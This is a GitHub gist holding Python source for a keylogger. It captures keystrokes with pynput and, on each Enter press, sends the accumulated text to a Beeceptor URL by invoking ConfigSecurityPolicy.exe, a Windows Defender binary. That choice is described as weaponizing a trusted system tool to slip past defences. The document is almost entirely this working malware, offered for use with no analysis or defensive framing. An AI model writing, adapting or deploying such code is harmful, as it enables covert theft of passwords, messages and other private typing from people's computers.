Skip to content

Instantly share code, notes, and snippets.

@teixeira0xfffff
Created December 30, 2022 10:32
Show Gist options
  • Save teixeira0xfffff/6cbba0ea85a42dcd0d684d0faf2c4bd1 to your computer and use it in GitHub Desktop.
Save teixeira0xfffff/6cbba0ea85a42dcd0d684d0faf2c4bd1 to your computer and use it in GitHub Desktop.
Python keylogger with weaponized Binary part of Windows Defender
from pynput.keyboard import Key, Listener
import os
import sys
import subprocess
URL = 'https://{your sub here}.free.beeceptor.com'
uploader = "C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe"
content = ""
def on_press(key):
global content
global URL
global uploader
if str(key) == 'Key.backspace':
content += ' '
else:
content += str(key)
print(f'last key: {str(key)}')
print("")
if str(key) == 'Key.enter':
upload_url = (f'{URL}?{content}')
subprocess.call([uploader, 'c:\\temp\\test.xml', upload_url])
buffer = ''
if key == 0x03:
sys.exit(0)
if __name__ == "__main__":
try:
with Listener(on_press=on_press) as listener:
listener.join()
except (KeyboardInterrupt, SystemExit):
sys.exit(0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment